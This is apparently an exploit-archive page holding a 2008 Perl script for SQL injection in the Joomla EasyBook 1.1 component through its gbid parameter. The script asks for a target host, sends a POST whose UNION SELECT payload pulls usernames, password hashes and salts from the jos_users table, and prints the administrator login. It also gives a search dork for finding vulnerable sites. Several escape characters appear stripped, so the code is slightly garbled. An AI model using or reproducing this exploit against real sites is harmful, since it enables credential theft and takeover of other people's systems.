[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Joomla Component EasyBook 1.1 (gbid) SQL Injection Exploit
# Published : 2008-06-04
# Author : ZAMUT
# Previous Title : plusPHP URL Shortening Software 1.6 Remote File Inclusion Vulnerability
# Next Title : FlashBlog 0.31b Remote Arbitrary File Upload Vulnerability
#!/usr/bin/perl
use IO::Socket;
use strict;
##### INFO##############################
# Example: #
# Host: xxx.lu #
# &md: 0f8ab366793a0d1da85c6f5a8d4fb576#
########################################
print "-+--[ Joomla Component EasyBook 1.1 SQL Injection Exploit]--+-n";
print "-+-- --+-n";
print "-+-- Author: ZAMUT --+-n";
print "-+-- Vuln: gbid= --+-n";
print "-+-- Homepage: http://antichat.ru --+-n";
print "-+-- Dork: com_easybook --+-nn";
print "Host:" ;
chomp(my $host=<STDIN>);
print "&md=";
chomp(my $md=<STDIN>);
my ($socket,$lhs,$l,$h,$s);
$socket = IO::Socket::INET->new("$host:80") || die("Can't connecting!");
print $socket "POST /index.php HTTP/1.0n".
"Host: www.$hostn".
"Content-Type: application/x-www-form-urlencodedn".
"Content-Length: 214nn".
"option=com_easybook&Itemid=1&func=deleteentry&gbid=-1+union+select+1,2,concat(0x3A3A3A,username,0x3a,password,0x3A3A3A),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+jos_users/*&md=$mdn";
while(<$socket>)
{
$s = <$socket>;
if($s=~/:::(.+):::/){
$lhs = $1;
($l,$h,$s)=split(':',$lhs);
print "nAdmin Login:$lnHash:$hnSalt:$sn";
close $socket;
exit; }
}
die ("Exploit failed!");
# www.Syue.com [2008-06-04]